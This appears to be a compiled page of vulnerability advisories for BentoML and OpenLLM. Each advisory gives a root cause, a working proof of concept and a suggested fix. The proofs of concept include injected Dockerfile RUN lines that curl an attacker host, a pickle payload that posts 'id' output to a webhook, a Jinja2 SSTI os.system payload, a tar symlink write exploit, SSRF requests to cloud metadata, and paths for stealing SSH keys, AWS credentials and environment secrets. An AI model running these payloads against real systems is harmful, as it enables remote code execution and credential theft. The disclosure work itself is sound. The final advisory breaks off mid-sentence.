See how bentoml compares to other vendors in security performance
A vulnerability was found in bentoml OpenLLM 0.6.30. This affects the function asyncruncommand of the file src/openllm/common.py of the component Model Repository Directory Name Handler. Performing a manipulation of the argument cmd results in command injection. Attacking locally is a requirement. The exploit has been made public and could be used. The project was informed of the problem early through an issue report but has not responded yet.
BentoML envs[].name Dockerfile command injection — sibling of CVE-2026-33744 / CVE-2026-35043
A malicious bentofile.yaml containing a newline-injected value in envs[].name produces unquoted RUN directives in the BentoML-generated Dockerfile. When the victim runs bentoml containerize on the imported bento, those RUN directives execute on the host during docker build. Verified end-to-end on bentoml==1.4.38.
Vulnerable code
src/bentoml/internal/container/frontend/dockerfile/templates/basev2.j2:71-73:
jinja {% for env in bentoenvs %} {% set stage = env.stage | default("all") -%} {% if stage != "runtime" -%} ARG {{ env.name }}{% if env.value %}={{ env.value | bashquote }}{% endif %} ENV {{ env.name }}=${{ env.name }} {% endif -%} {% endfor %}
env.value is bash-quoted via the bashquote filter, but env.name is interpolated raw with no escaping or newline filtering. The template is rendered by bentomlimpl/docker.generatedockerfile (the v2 SDK Docker generation path used by bentoml containerize for modern services).
Sibling relationship to existing CVEs
The earlier patches addressed the same Dockerfile-command-injection class for a different bentofile field:
- CVE-2026-33744 / GHSA-jfjg-vc52-wqvf (2026-03-25): added bashquote to systempackages interpolation in Dockerfile templates and images.py. - CVE-2026-35043 / GHSA-fgv4-6jr3-jgfw (2026-04-02): added shlex.quote to systempackages in the cloud deployment path (internal/cloud/deployment.py:1648).
Both patches limit themselves to systempackages. The envs[].name field is the same root-cause class (bentofile.yaml value flowing unquoted into a Dockerfile interpretation context) but was never included in the fix scope.
Reproduction
bash pip install bentoml==1.4.38 python verifyrender.py
Expected:
[] rendered Dockerfile size: 1789 bytes [] injected RUN lines: 3 RUN curl -fsSL http://attacker.example.com/$(whoami)=1 RUN curl -fsSL http://attacker.example.com/$(whoami)=$FOO RUN curl -fsSL http://attacker.example.com/$(whoami)
Each injected RUN line is a Dockerfile command that runs during docker build. With $(whoami) shell-substituted by Docker's RUN executor, the example payload exfiltrates the build host's username.
Threat model
1. Attacker authors a malicious bento with a crafted bentofile.yaml. 2. Attacker exports the bento (.bento or .tar.gz) and distributes (S3, HTTP, BentoCloud share, etc.). 3. Victim imports with bentoml import bento.tar; no validation of envs content. 4. Victim runs bentoml containerize to build the container image. 5. BentoML renders the Dockerfile with the attacker's envs values, producing injected RUN lines. 6. docker build (or BuildKit) executes the injected RUN commands on the build host, achieving RCE in the victim's build environment.
The flow mirrors CVE-2026-33744 exactly, with envs substituted for systempackages.
Suggested fix
In basev2.j2 lines 71-73, apply the bashquote filter to env.name (and to the =$VAR reference in the ENV line, since the variable name itself is reused there):
jinja ARG {{ env.name | bashquote }}{% if env.value %}={{ env.value | bashquote }}{% endif %} ENV {{ env.name | bashquote }}=${{ env.name | bashquote }}
Better, since env.name is semantically a Dockerfile identifier, validate at the schema level: in bentoml/internal/bento/buildconfig.py:BentoEnvSchema, add an attr.validators.matchesre(r"^[A-Za-z][A-Za-z0-9]$") to the name field so newline / shell-metacharacter values are rejected at config load.
Affected versions
- bentoml 1.4.38 (verified end-to-end) - Likely all 1.x versions where bentomlimpl/docker.py exists; the v2 SDK code path was added before the CVE-2026-33744 / CVE-2026-35043 patches and was not retroactively swept for siblings.
Disclosure
Requesting CVE assignment and GHSA publication. Available for additional repro under different distros / frontends, or for a PR with the suggested fix, on request.
PoC artifacts
Gated HF repo (request access): https://huggingface.co/mrw0r57/bentoml-envs-cmdinjection-poc
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Prior to 1.4.39, src/bentoml/internal/container/frontend/dockerfile/templates/basev2.j2 interpolates docker.baseimage raw with no escaping, newline filtering, or validation. A malicious bento.yaml with a multi-line docker.baseimage value smuggles arbitrary Dockerfile directives into the generated Dockerfile, and bentoml containerize then runs docker build which executes the injected RUN directives on the victim host. This vulnerability is fixed in 1.4.39.
Summary BentoML's bentoml build packaging workflow follows attacker-controlled symlinks inside the build context and copies the referenced file contents into the generated Bento artifact.
If a victim builds an untrusted repository or other attacker-supplied build context, the attacker can place a symlink such as loot.txt -> /tmp/outside-marker.txt or a link to a more sensitive local file. When bentoml build runs, BentoML dereferences the symlink and packages the target file contents into the Bento. The leaked file can then propagate further through export, push, or containerization workflows.
Details The vulnerable code walks files under the build context and copies each matched entry into the Bento source directory:
python for root, , files in os.walk(ctxpath): for f in files: dirpath = os.path.relpath(root, ctxpath) path = os.path.join(dirpath, f).replace(os.sep, "/") if specs.includes(path): srcfile = ctxpath.joinpath(path) dstfile = targetfs.joinpath(destpath) shutil.copy(srcfile, dstfile)
There is no validation that the resolved path of srcfile remains inside ctxpath before shutil.copy dereferences the source path. As a result, a repository-controlled symlink can cross the trust boundary from attacker-controlled repository content to developer/CI host filesystem during the build process.
This is a build-time path traversal / symlink traversal issue in the packaging feature, not a runtime API issue. The resulting Bento may later be exported, pushed to remote storage, or converted into a container image, which amplifies the leakage impact.
PoC The issue was verified in WSL against BentoML 1.4.38. The following script reproduces the vulnerability by using a harmless marker file outside the build directory.
bash mkdir -p /tmp/bento-symlink-poc cd /tmp/bento-symlink-poc
printf 'BENTOMLSYMLINKPOC123456\n' > /tmp/outside-marker.txt
cat > service.py <<'EOF' import bentoml
@bentoml.service class Demo: @bentoml.api def ping(self, x: str) -> str: return x EOF
cat > bentofile.yaml <<'EOF' service: "service:Demo" include: - "service.py" - "loot.txt" EOF
ln -s /tmp/outside-marker.txt loot.txt
bentoml build --output tag bentoml export demo:7pilrpjtlomelwct /tmp/poc.zip
mkdir -p /tmp/poc-unzip unzip -o /tmp/poc.zip -d /tmp/poc-unzip find /tmp/poc-unzip -name loot.txt -print cat /tmp/poc-unzip//src/loot.txt 2>/dev/null || \ find /tmp/poc-unzip -path '/src/loot.txt' -exec cat {} \;
- The script creates /tmp/outside-marker.txt outside the build context as a stand-in for a sensitive local file. - It creates a minimal BentoML service and explicitly includes loot.txt in bentofile.yaml. - It creates loot.txt as a symlink to the external marker file. <img width="1531" height="648" alt="image" src="https://github.com/user-attachments/assets/1312dcf0-74b0-4fb6-a05d-b68644470d82" />
- It runs bentoml build, exports the generated Bento, unzips it, and reads the packaged src/loot.txt. - Successful exploitation is confirmed when the packaged file contains BENTOMLSYMLINKPOC123456, proving that BentoML copied the external file contents rather than keeping only the symlink. <img width="1315" height="121" alt="image" src="https://github.com/user-attachments/assets/6ed34f51-9b68-4fa9-8a42-011deb84d54e" />
<img width="1697" height="760" alt="image" src="https://github.com/user-attachments/assets/9b8a8ae5-4f06-46b4-9e4a-dee25cc5d203" />
Impact An attacker who can cause a developer, release engineer, or CI system to run bentoml build on an attacker-controlled repository can exfiltrate local files from the build host into the Bento artifact.
This can expose secrets such as cloud credentials, SSH keys, API tokens, environment files, or other sensitive local configuration. Because Bento artifacts are commonly exported, uploaded, stored, or containerized after build, the leaked file contents can spread beyond the original build machine.
Summary
The Dockerfile generation function generatecontainerfile() in src/bentoml/internal/container/generate.py uses an unsandboxed jinja2.Environment with the jinja2.ext.do extension to render user-provided dockerfiletemplate files. When a victim imports a malicious bento archive and runs bentoml containerize, attacker-controlled Jinja2 template code executes arbitrary Python directly on the host machine, bypassing all container isolation.
Details
The vulnerability exists in the generatecontainerfile() function at src/bentoml/internal/container/generate.py:155-157:
python ENVIRONMENT = Environment( extensions=["jinja2.ext.do", "jinja2.ext.loopcontrols", "jinja2.ext.debug"], trimblocks=True, lstripblocks=True, loader=FileSystemLoader(TEMPLATESPATH, followlinks=True), )
This creates an unsandboxed jinja2.Environment with two dangerous extensions: - jinja2.ext.do — enables {% do %} tags that execute arbitrary Python expressions - jinja2.ext.debug — exposes internal template engine state
Attack path:
1. Attacker builds a bento with dockerfiletemplate set in bentofile.yaml. During bentoml build, DockerOptions.writetobento() (buildconfig.py:272-276) copies the template file into the bento archive at env/docker/Dockerfile.template:
python if self.dockerfiletemplate is not None: shutil.copy2( resolveuserfilepath(self.dockerfiletemplate, buildctx), dockerfolder / "Dockerfile.template", )
2. Attacker exports the bento as a .bento or .tar.gz archive and distributes it (via S3, HTTP, direct sharing, etc.).
3. Victim imports the bento with bentoml import bento.tar — no validation of template content is performed.
4. Victim containerizes with bentoml containerize. The constructcontainerfile() function (init.py:198-204) detects the template and sets the path:
python dockerattrs["dockerfiletemplate"] = "env/docker/Dockerfile.template"
5. generatecontainerfile() (generate.py:181-192) loads the attacker-controlled template into the unsandboxed Environment and renders it at line 202:
python usertemplates = docker.dockerfiletemplate if usertemplates is not None: dirpath = os.path.dirname(resolveuserfilepath(usertemplates, buildctx)) usertemplates = os.path.basename(usertemplates) TEMPLATESPATH.append(dirpath) environment = ENVIRONMENT.overlay( loader=FileSystemLoader(TEMPLATESPATH, followlinks=True) ) template = environment.gettemplate( usertemplates, globals={"bentobasetemplate": template, J2FUNCTION}, ) ... return template.render(...) # <-- SSTI executes here, on the HOST
Critical distinction: Commands in docker.commands or docker.postcommands execute inside the Docker build container (isolated). SSTI payloads execute Python directly on the host machine during template rendering, before Docker is invoked. This bypasses all container isolation.
PoC
Step 1: Create malicious template evil.j2:
jinja2 {% extends bentobasetemplate %} {% block SETUPBENTOCOMPONENTS %} {{ super() }} {% do namespace.init.globals['builtins']'import'.system('id > /tmp/pwned') %} {% endblock %}
Step 2: Create bentofile.yaml referencing the template:
yaml service: 'service:MyService' docker: dockerfiletemplate: ./evil.j2
Step 3: Attacker builds and exports:
bash bentoml build bentoml export myservice:latest bento.tar
Step 4: Victim imports and containerizes:
bash bentoml import bento.tar bentoml containerize myservice:latest
Step 5: Verify host code execution:
bash cat /tmp/pwned Output: uid=1000(victim) gid=1000(victim) groups=...
The SSTI payload executes on the host during template rendering, before any Docker container is created.
Standalone verification that the Jinja2 Environment allows code execution:
bash python3 -c " from jinja2 import Environment env = Environment(extensions=['jinja2.ext.do']) t = env.fromstring(\"{% do namespace.init.globals['builtins']'import'.system('echo SSTIWORKS') %}\") t.render() " Output: SSTIWORKS
Impact
An attacker who distributes a malicious bento archive can achieve arbitrary code execution on the host machine of any user who imports and containerizes the bento. This gives the attacker:
- Full access to the host filesystem (source code, credentials, SSH keys, cloud tokens) - Ability to install backdoors or pivot to other systems - Access to environment variables containing secrets (API keys, database credentials) - Potential supply chain compromise if the victim's machine is a CI/CD runner
The attack is particularly dangerous because: 1. Users may reasonably expect bentoml containerize to be a safe build operation 2. The malicious template is embedded inside the bento archive and not visible without manual inspection 3. Execution happens on the host, not inside a Docker container, bypassing all isolation
Recommended Fix
Replace the unsandboxed jinja2.Environment with jinja2.sandbox.SandboxedEnvironment and remove the dangerous jinja2.ext.do and jinja2.ext.debug extensions, which are unnecessary for Dockerfile template rendering.
In src/bentoml/internal/container/generate.py, change lines 155-157:
python Before (VULNERABLE): from jinja2 import Environment ... ENVIRONMENT = Environment( extensions=["jinja2.ext.do", "jinja2.ext.loopcontrols", "jinja2.ext.debug"], trimblocks=True, lstripblocks=True, loader=FileSystemLoader(TEMPLATESPATH, followlinks=True), )
After (FIXED): from jinja2.sandbox import SandboxedEnvironment ... ENVIRONMENT = SandboxedEnvironment( extensions=["jinja2.ext.loopcontrols"], trimblocks=True, lstripblocks=True, loader=FileSystemLoader(TEMPLATESPATH, followlinks=True), )
Additionally, review the second unsandboxed Environment in buildconfig.py:499-504 which also uses jinja2.ext.debug:
python buildconfig.py:499 - also fix: env = jinja2.sandbox.SandboxedEnvironment( variablestartstring="<<", variableendstring=">>", loader=jinja2.FileSystemLoader(os.path.dirname(file), followlinks=True), )
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Prior to 1.4.38, the cloud deployment path in src/bentoml/internal/cloud/deployment.py was not included in the fix for CVE-2026-33744. Line 1648 interpolates systempackages directly into a shell command using an f-string without any quoting. The generated script is uploaded to BentoCloud as setup.sh and executed on the cloud build infrastructure during deployment, making this a remote code execution on the CI/CD tier. This vulnerability is fixed in 1.4.38.
Summary
The docker.systempackages field in bentofile.yaml accepts arbitrary strings that are interpolated directly into Dockerfile RUN commands without sanitization. Since systempackages is semantically a list of OS package names (data), users do not expect values to be interpreted as shell commands. A malicious bentofile.yaml achieves arbitrary command execution during bentoml containerize / docker build.
Affected Component
- src/bentomlsdk/images.py:85-89 — .format(packages=" ".join(packages)) into shell command - src/bentoml/internal/container/frontend/dockerfile/templates/basedebian.j2:13 — {{ optionssystempackages | join(' ') }} - src/bentoml/internal/bento/buildconfig.py:174 — No validation on systempackages - All distro install commands in src/bentoml/internal/container/frontend/dockerfile/init.py
Affected Versions
All versions supporting docker.systempackages in bentofile.yaml, confirmed on 1.4.36.
Steps to Reproduce
1. Create a project directory with:
service.py: python import bentoml
@bentoml.service class MyService: @bentoml.api def predict(self) -> str: return "hello"
bentofile.yaml: yaml service: "service:MyService" docker: systempackages: - "curl && id > /tmp/bentoml-pwned #"
2. Run: bash bentoml build
3. Examine the generated Dockerfile at ~/bentoml/bentos/myservice/<tag>/env/docker/Dockerfile. Line 41 will contain: dockerfile RUN apt-get install -q -y -o Dpkg::Options::=--force-confdef curl && id > /tmp/bentoml-pwned #
4. Running bentoml containerize myservice:<tag> will execute id > /tmp/bentoml-pwned as root during the Docker build.
Root Cause
The systempackages field values are treated as package names (data) by the user but are string-formatted directly into shell commands in the Dockerfile:
python images.py:85-89 self.commands.append( CONTAINERMETADATA[self.distro]["installcommand"].format( packages=" ".join(packages) # No escaping ) )
Where installcommand is "apt-get install -q -y -o Dpkg::Options::=--force-confdef {packages}".
A bashquote filter (wrapping shlex.quote) exists in the codebase and is registered in both Jinja2 environments, but it is only applied to environment variable values, never to systempackages.
Impact
1. Malicious repositories: An attacker publishes an ML project with a crafted bentofile.yaml. Anyone who clones and builds it gets arbitrary code execution during docker build. 2. CI/CD compromise: Automated pipelines running bentoml containerize on PRs that modify bentofile.yaml are vulnerable. 3. BentoCloud: If BentoCloud builds images from user-supplied bentofile.yaml, this could achieve RCE on cloud infrastructure. 4. Supply chain: Shared bentos or model repos in the BentoML ecosystem can contain malicious configs.
Suggested Fix
Option 1: Input validation (recommended)
Add a regex validator to systempackages in buildconfig.py:
python import re
VALIDPACKAGENAME = re.compile(r'^[a-zA-Z0-9][a-zA-Z0-9.+\-:]$')
def validatesystempackages(instance, attribute, value): if value is None: return for pkg in value: if not VALIDPACKAGENAME.match(pkg): raise BentoMLException( f"Invalid system package name: {pkg!r}. " "Package names may only contain alphanumeric characters, " "dots, plus signs, hyphens, underscores, and colons." )
systempackages: t.Optional[t.List[str]] = attr.field( default=None, validator=validatesystempackages )
Option 2: Output escaping
Apply shlex.quote() to each package name before interpolation in images.py:systempackages() and apply the bashquote Jinja2 filter in basedebian.j2.
Arbitrary File Write via Symlink Path Traversal in Tar Extraction
Summary
The safeextracttarfile() function validates that each tar member's path is within the destination directory, but for symlink members it only validates the symlink's own path, not the symlink's target. An attacker can create a malicious bento/model tar file containing a symlink pointing outside the extraction directory, followed by a regular file that writes through the symlink, achieving arbitrary file write on the host filesystem.
Affected Component
- File: src/bentoml/internal/utils/filesystem.py:58-96 - Callers: src/bentoml/internal/cloud/bento.py:542, src/bentoml/internal/cloud/model.py:504 - Affected versions: All versions with safeextracttarfile()
Severity
CVSS 3.1: 8.1 (High) AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H
Vulnerability Details
Vulnerable Code (filesystem.py:58-96)
python def safeextracttarfile(tar, destination): os.makedirs(destination, existok=True) for member in tar.getmembers(): fn = member.name path = os.path.abspath(os.path.join(destination, fn)) if not Path(path).isrelativeto(destination): # Line 64: INCOMPLETE continue # Only checks member path, NOT symlink target if member.issym(): tar.extractmember(member, path) # Line 75: Creates symlink with UNVALIDATED target else: fp = tar.extractfile(member) with open(path, "wb") as destfp: # Line 92: open() FOLLOWS symlinks shutil.copyfileobj(fp, destfp)
The Bug
1. Line 64: Path(path).isrelativeto(destination) checks the member's OWN path, not the symlink target 2. Line 75: tar.extractmember() creates symlink with unvalidated target (e.g., /etc) 3. Line 92: open(path, "wb") follows the symlink, writing OUTSIDE the destination
os.path.abspath() does NOT resolve symlinks (only . and ..). The path check passes because the string path appears within destination, but open() follows the symlink to the actual target.
Proof of Concept
python import io, os, shutil, tarfile, tempfile from pathlib import Path
def createmalicioustar(targetdir, targetfile, payload): buf = io.BytesIO() with tarfile.open(fileobj=buf, mode='w:gz') as tar: sym = tarfile.TarInfo(name='escape') sym.type = tarfile.SYMTYPE sym.linkname = targetdir tar.addfile(sym) info = tarfile.TarInfo(name=f'escape/{targetfile}') info.size = len(payload) tar.addfile(info, io.BytesIO(payload)) buf.seek(0) return buf
with tempfile.TemporaryDirectory() as tmpdir: extractdir = os.path.join(tmpdir, 'extract') targetdir = os.path.join(tmpdir, 'outside') os.makedirs(targetdir) maltar = createmalicioustar(targetdir, 'pwned.txt', b'PWNED') tar = tarfile.open(fileobj=maltar, mode='r:gz') # Reproduce filesystem.py:58-96 os.makedirs(extractdir, existok=True) for member in tar.getmembers(): path = os.path.abspath(os.path.join(extractdir, member.name)) if not Path(path).isrelativeto(extractdir): continue if member.issym(): tar.extractmember(member, path) # Symlink target NOT checked else: fp = tar.extractfile(member) os.makedirs(os.path.dirname(path), existok=True) if fp: with open(path, 'wb') as destfp: # Follows symlink! shutil.copyfileobj(fp, destfp) assert os.path.exists(os.path.join(targetdir, 'pwned.txt')) print(open(os.path.join(targetdir, 'pwned.txt')).read()) # PWNED
Impact
1. Arbitrary file overwrite via shared bentos BentoML users share pre-built bentos. A malicious bento can overwrite any writable file: ~/.bashrc, ~/.ssh/authorizedkeys, crontabs, Python site-packages.
2. Remote code execution via file overwrite Overwriting ~/.bashrc or Python packages achieves RCE.
3. BentoCloud deployments safeextracttarfile() is called when pulling bentos from BentoCloud (bento.py:542). A malicious actor on BentoCloud can compromise any system that pulls a bento.
Remediation
Validate symlink targets: python if member.issym(): target = os.path.normpath(os.path.join(os.path.dirname(path), member.linkname)) if not Path(target).isrelativeto(dest): logger.warning('Symlink %s points outside: %s', member.name, member.linkname) continue
Or use Python 3.12+ tar.extractall(filter='data').
References
- CWE-59: Improper Link Resolution Before File Access ('Link Following') - CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Summary
BentoML's bentofile.yaml configuration allows path traversal attacks through multiple file path fields (description, docker.setupscript, docker.dockerfiletemplate, conda.environmentyml). An attacker can craft a malicious bentofile that, when built by a victim, exfiltrates arbitrary files from the filesystem into the bento archive. This enables supply chain attacks where sensitive files (SSH keys, credentials, environment variables) are silently embedded in bentos and exposed when pushed to registries or deployed.
Details
The vulnerability exists in how BentoML resolves user-provided file paths without validating that they remain within the build context directory.
Vulnerable function in src/bentoml/internal/utils/filesystem.py:114-131:
python def resolveuserfilepath(filepath: str, ctx: t.Optional[str]) -> str: path = os.path.expanduser(os.path.expandvars(filepath)) if not os.path.isabs(path) and ctx: path = os.path.expanduser(os.path.join(ctx, filepath)) if os.path.exists(path): return os.path.realpath(path) # No path containment check raise FileNotFoundError(f"file {filepath} not found")
Vulnerable code in src/bentoml/internal/bento/bento.py:348-355:
python if buildconfig.description.startswith("file:"): filename = buildconfig.description[5:].strip() if not ctxpath.joinpath(filename).exists(): raise InvalidArgument(f"File {filename} does not exist.") shutil.copy(ctxpath.joinpath(filename), bentoreadme) # Path traversal
All four vulnerable fields: - description: "file:../../../etc/passwd" → copied to README.md - docker.setupscript: "../../../etc/passwd" → copied to env/docker/setupscript - docker.dockerfiletemplate: "../../../secret" → copied to env/docker/Dockerfile.template - conda.environmentyml: "../../../etc/hosts" → copied to env/conda/environment.yml
Multiple path formats are supported, making exploitation trivial:
| Format | description | setupscript | dockerfiletemplate | environmentyml | |--------|---------------|----------------|----------------------|-------------------| | Absolute paths (/etc/passwd) | Yes | Yes | Yes | Yes | | Tilde expansion (~/.ssh/idrsa) | No | Yes | Yes | Yes | | Env vars ($HOME/.aws/credentials) | No | Yes | Yes | Yes | | Relative traversal (../../../etc/passwd) | Yes | Yes | Yes | Yes | | Proc filesystem (/proc/self/environ) | Yes | Yes | Yes | Yes |
The description field uses pathlib.Path.joinpath() directly, while other fields use resolveuserfilepath() which calls os.path.expanduser() and os.path.expandvars().
The /proc/self/environ vector is particularly dangerous in CI/CD pipelines where secrets are commonly passed as environment variables (AWSSECRETACCESSKEY, GITHUBTOKEN, DATABASEPASSWORD, etc.).
PoC
1. Create a minimal service:
python service.py import bentoml
@bentoml.service class TestService: @bentoml.api def predict(self, text: str) -> str: return text
2. Create malicious bentofile.yaml. Multiple attack vectors are available:
Vector 1: Exfiltrate /etc/passwd via description field yaml service: "service.py:TestService" description: "file:/etc/passwd"
Vector 2: Exfiltrate all environment variables (CI/CD secrets) yaml service: "service.py:TestService" description: "file:/proc/self/environ"
Vector 3: Exfiltrate files using environment variable expansion (docker fields only) yaml service: "service.py:TestService" docker: dockerfiletemplate: "$HOME/.aws/credentials"
Vector 4: Exfiltrate files using tilde expansion (docker fields only) yaml service: "service.py:TestService" docker: dockerfiletemplate: "~/.ssh/idrsa"
Note: The description field does not support ~ or $VAR expansion. Use absolute paths or relative traversal for description. The docker. and conda. fields support all path formats.
3. Run build:
bash $ bentoml build Successfully built Bento(tag="testservice:abc123").
4. Verify exfiltration:
bash For description field - check README.md $ cat ~/bentoml/bentos/testservice/abc123/README.md root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin ...
For /proc/self/environ - extract CI/CD secrets $ cat ~/bentoml/bentos/testservice/abc123/README.md | tr '\0' '\n' | grep -E "KEY|TOKEN|SECRET" AWSSECRETACCESSKEY=AKIA... GITHUBTOKEN=ghp...
For dockerfiletemplate - check Dockerfile.template $ cat ~/bentoml/bentos/testservice/abc123/env/docker/Dockerfile.template [default] awsaccesskeyid = AKIA... awssecretaccesskey = ...
The exfiltrated contents are embedded in the bento archive and will be included in any push, export, or containerization of the bento.
Impact
Who is impacted: Any user who runs bentoml build on an untrusted bentofile.yaml (e.g., cloned from a malicious repository).
Attack scenarios: - Supply chain attack: Malicious contributor adds path traversal to a public ML project; anyone who clones and pushes their built model has their files exfiltrated - CI/CD environment variable theft: Using file:/proc/self/environ, an attacker can exfiltrate ALL environment variables from the build process. CI/CD pipelines commonly inject secrets this way (AWSSECRETACCESSKEY, GITHUBTOKEN, DATABASEURL, etc.), making this a single-payload method to steal all pipeline secrets. - BentoCloud exfiltration: When victims push compromised bentos to BentoCloud (bentoml push), exfiltrated files are uploaded to the cloud platform. Any user with access to the BentoCloud organization (team members, contractors, or attackers with compromised accounts) can download the bento and extract stolen credentials. This turns BentoCloud into an unwitting exfiltration channel. - Data theft: Proprietary source code, configuration files, or database credentials embedded in bentos pushed to shared registries or BentoCloud deployments
Description
There's an SSRF in the file upload processing system that allows remote attackers to make arbitrary HTTP requests from the server without authentication. The vulnerability exists in the serialization/deserialization handlers for multipart form data and JSON requests, which automatically download files from user-provided URLs without proper validation of internal network addresses.
The framework automatically registers any service endpoint with file-type parameters (pathlib.Path, PIL.Image.Image) as vulnerable to this attack, making it a framework-wide security issue that affects most real-world ML services handling file uploads. While BentoML implements basic URL scheme validation in the JSONSerde path, the MultipartSerde path has no validation whatsoever, and neither path restricts access to internal networks, cloud metadata endpoints, or localhost services.
The documentation explicitly promotes this URL-based file upload feature, making it an intended but insecure design that exposes all deployed services to SSRF attacks by default.
Source - Sink Analysis
Source: User-controlled multipart form field values and JSON request bodies containing URLs
Call Chain - Path 1 (MultipartSerde - No Validation): 1. HTTP POST request with multipart form data to any BentoML endpoint with file-type input parameters 2. MultipartSerde.parserequest() in src/bentomlimpl/serde.py:202 processes the request 3. form = await request.form() parses multipart data using Starlette 4. For file-type fields: value = [await self.ensurefile(v) for v in form.getlist(k)] at line 209 5. MultipartSerde.ensurefile() called at lines 186-200 with user-controlled string URL 6. Sink: resp = await client.get(obj) at line 193 - Direct HTTP request with zero validation
Call Chain - Path 2 (JSONSerde - Weak Validation): 1. HTTP POST request with JSON body containing URL to endpoint with IORootModel + multipartfields 2. JSONSerde.parserequest() in src/bentomlimpl/serde.py:157 processes the request 3. body = await request.body() extracts request body 4. Condition check: if issubclass(cls, IORootModel) and cls.multipartfields: at line 164 5. Weak validation: if ishttpurl(url := body.decode("utf-8", "ignore")): at line 165 (only checks scheme) 6. Sink: resp = await client.get(url) at line 168 - HTTP request after insufficient validation
Proof of Concept
Create a BentoML service: python from pathlib import Path import bentoml
@bentoml.service class ImageProcessor: @bentoml.api def processimage(self, image: Path) -> str: return f"Processed image: {image}"
Deploy and exploit: bash Start service (binds to 0.0.0.0:3000 by default) bentoml serve service.py:ImageProcessor
SSRF Attack 1 - Access AWS metadata curl -X POST http://target:3000/processimage \ -F 'image=http://169.254.169.254/latest/meta-data/'
SSRF Attack 2 - Internal service enumeration curl -X POST http://target:3000/processimage \ -F 'image=http://localhost:8080/admin'
SSRF Attack 3 - Internal network scanning curl -X POST http://target:3000/processimage \ -F 'image=http://10.0.0.1:22'
Expected result: Server makes HTTP requests to internal/cloud endpoints, potentially returning sensitive data in error messages or logs.
Impact - Access AWS/GCP/Azure cloud metadata services for credential theft - Enumerate and interact with internal HTTP services and APIs - Bypass firewall restrictions to reach internal network resources - Perform network reconnaissance from the server's perspective - Retrieve sensitive information disclosed in HTTP response data - Potential for internal service exploitation through crafted requests
Remediation
Implement comprehensive URL validation in both serialization paths by adding network restriction checks to prevent access to internal/private network ranges, localhost, and cloud metadata endpoints. The existing ishttpurl() function should be enhanced to include allowlist validation rather than just scheme checking.
Summary There was an insecure deserialization in BentoML's runner server. By setting specific headers and parameters in the POST request, it is possible to execute any unauthorized arbitrary code on the server, which will grant the attackers to have the initial access and information disclosure on the server.
PoC - First, create a file named model.py to create a simple model and save it import bentoml import numpy as np
class mymodel: def predict(self, info): return np.abs(info) def call(self, info): return self.predict(info)
model = mymodel() bentoml.picklablemodel.savemodel("mymodel", model) - Then run the following command to save this model python3 model.py - Next, create bentofile.yaml to build this model service: "service.py" description: "A model serving service with BentoML" python: packages: - bentoml - numpy models: - tag: MyModel:latest include: - ".py" - Then, create service.py to host this model import bentoml from bentoml.io import NumpyNdarray import numpy as np
modelrunner = bentoml.picklablemodel.get("mymodel:latest").torunner()
svc = bentoml.Service("myservice", runners=[modelrunner])
async def predict(inputdata: np.ndarray):
inputcolumns = np.split(inputdata, inputdata.shape[1], axis=1) resultgenerator = modelrunner.asyncrun(inputcolumns, isstream=True) async for result in resultgenerator: yield result - Then, run the following commands to build and host this model bentoml build bentoml start-runner-server --runner-name mymodel --working-dir . --host 0.0.0.0 --port 8888 - Finally, run this below python script to exploit insecure deserialization vulnerability in BentoML's runner server. import requests import pickle
url = "http://0.0.0.0:8888/"
headers = { "args-number": "1", "Content-Type": "application/vnd.bentoml.pickled", "Payload-Container": "NdarrayContainer", "Payload-Meta": '{"format": "default"}', "Batch-Size": "-1", }
class P: def reduce(self): return (import('os').system, ('curl -X POST -d "$(id)" https://webhook.site/61093bfe-a006-4e9e-93e4-e201eabbb2c3',))
response = requests.post(url, headers=headers, data=pickle.dumps(P()))
print(response) And I can replace the NdarrayContainer with PandasDataFrameContainer in Payload-Container header and the exploit still working. After running exploit.py then the output of the command id will be send out to the WebHook server.
Root Cause Analysis:
- When handling a request in BentoML runner server in src/bentoml/internal/server/runnerapp.py, when the request header args-number is equal to 1, it will call the function deserializesingleparam like the code below: https://github.com/bentoml/BentoML/blob/main/src/bentoml/internal/server/runnerapp.py#L291-L298 async def requesthandler(request: Request) -> Response: assert self.isready
argnum = int(request.headers["args-number"]) r: bytes = await request.body()
if argnum == 1: params: Params[t.Any] = deserializesingleparam(request, r) - Then this is the function of deserializesingleparam, which will take the value of all request headers of Payload-Container, Payload-Meta and Batch-Size and the crafted into Payload class which will contain the data from request.body https://github.com/bentoml/BentoML/blob/main/src/bentoml/internal/server/runnerapp.py#L376-L393 def deserializesingleparam(request: Request, bs: bytes) -> Params[t.Any]: container = request.headers["Payload-Container"] meta = json.loads(request.headers["Payload-Meta"]) batchsize = int(request.headers["Batch-Size"]) kwargname = request.headers.get("Kwarg-Name") payload = Payload( data=bs, meta=meta, batchsize=batchsize, container=container, ) if kwargname: d = {kwargname: payload} params: Params[t.Any] = Params(d) else: params: Params[t.Any] = Params(payload)
return params - After crafting Params containing payload, it will call to function infer with params variable as input https://github.com/bentoml/BentoML/blob/main/src/bentoml/internal/server/runnerapp.py#L303-L304 try: payload = await infer(params) - Inside function infer, the params variable with is belong to class Params will call the function map of that class with AutoContainer.frompayload as a parameter. https://github.com/bentoml/BentoML/blob/main/src/bentoml/internal/server/runnerapp.py#L278-L289 async def infer(params: Params[t.Any]) -> Payload: params = params.map(AutoContainer.frompayload)
try: ret = await runnermethod.asyncrun( params.args, params.kwargs ) except Exception: traceback.printexc() raise
return AutoContainer.topayload(ret, 0) - Inside class Params define the function map which will call the AutoContainer.frompayload function with arguments, which are data, meta, batchsize and container https://github.com/bentoml/BentoML/blob/main/src/bentoml/internal/runner/utils.py#L59-L66 def map(self, function: t.Callable[[T], To]) -> Params[To]: """ Apply a function to all the values in the Params and return a Params of the return values. """ args = tuple(function(a) for a in self.args) kwargs = {k: function(v) for k, v in self.kwargs.items()} return ParamsTo - Inside class AutoContainer class have defined the function frompayload which will find the class by the payload.container , which is the value of header Payload-Container, and it will call the function frompayload from the chosen class as return value https://github.com/bentoml/BentoML/blob/main/src/bentoml/internal/runner/container.py#L710-L712 def frompayload(cls, payload: Payload) -> t.Any: containercls = DataContainerRegistry.findbyname(payload.container) return containercls.frompayload(payload) And if the attacker set value of header Payload-Container to NdarrayContainer or PandasDataFrameContainer, it will call frompayload and when it then check if the payload.meta["format"] == "default" it will call pickle.loads(payload.data) and payload.meta["format"] is the value of header Payload-Meta and the attacker 